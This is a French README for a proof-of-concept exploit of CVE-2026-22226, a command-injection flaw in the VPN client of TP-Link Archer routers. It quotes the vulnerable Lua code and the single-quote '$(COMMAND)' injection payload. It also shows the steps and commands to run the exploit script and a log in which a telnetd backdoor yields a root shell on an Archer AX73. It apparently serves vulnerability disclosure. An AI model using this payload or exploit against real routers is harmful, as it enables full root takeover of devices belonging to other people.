
Preuve de concept pour CVE-2026-22226
Preuve de concept pour CVE-2026-22226
Injection de commandes OS côté LAN authentifié dans le client VPN des routeurs Wi-Fi TP-Link Archer
Le contrôleur du client VPN stocke la description d'entrée contrôlée par l'utilisateur (des) dans la configuration UCI avec une expression régulière de validation faible. Lorsque l'entrée est relue plus tard (lors de l'édition dans l'interface Web), get_ovpn_data() interpole des dans une commande shell entre guillemets passée à os.execute() sans aucune assainissement :
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
Le caractère guillemet simple (') passe l'expression régulière de validation, ce qui est suffisant pour s'échapper du quoting du shell et injecter des commandes via la substitution $(). Un champ des défini sur '$(COMMAND)' transforme la commande en :
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
Notez que la sortie de la commande n'est jamais renvoyée dans la réponse HTTP, donc l'injection est aveugle. C'est pourquoi nous avons besoin d'un canal hors bande (ici le script PoC démarre un serveur telnetd pour obtenir un shell interactif).
[!Note] J'ai uniquement testé ce script sur un TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717), mais d'autres appareils Archer sont probablement vulnérables aussi.
Ce poc suit ce processus :
admin.ovpn facticedes empoisonné, en s'échappant du contexte entre guillemets simples et en injectant notre charge utile via une substitution de commandeget_ovpn_data() en relisant l'entrée, ce qui introduit le des empoisonné dans os.execute()[!Warning] L'exploitation de cette vulnérabilité conduit à l'exécution de commandes OS en tant que
rootsur le routeur (compromission totale de l'appareil), en contournant la validation de l'entréedesvia le caractère guillemet simple autorisé.
Les dépendances Python sont déclarées en ligne dans le script, vous pouvez donc l'exécuter directement avec un gestionnaire de projet Python moderne, ou les installer manuellement avec pip :
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
définir l'IP cible, les identifiants et la charge utile dans poc.py
exécuter le script :
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux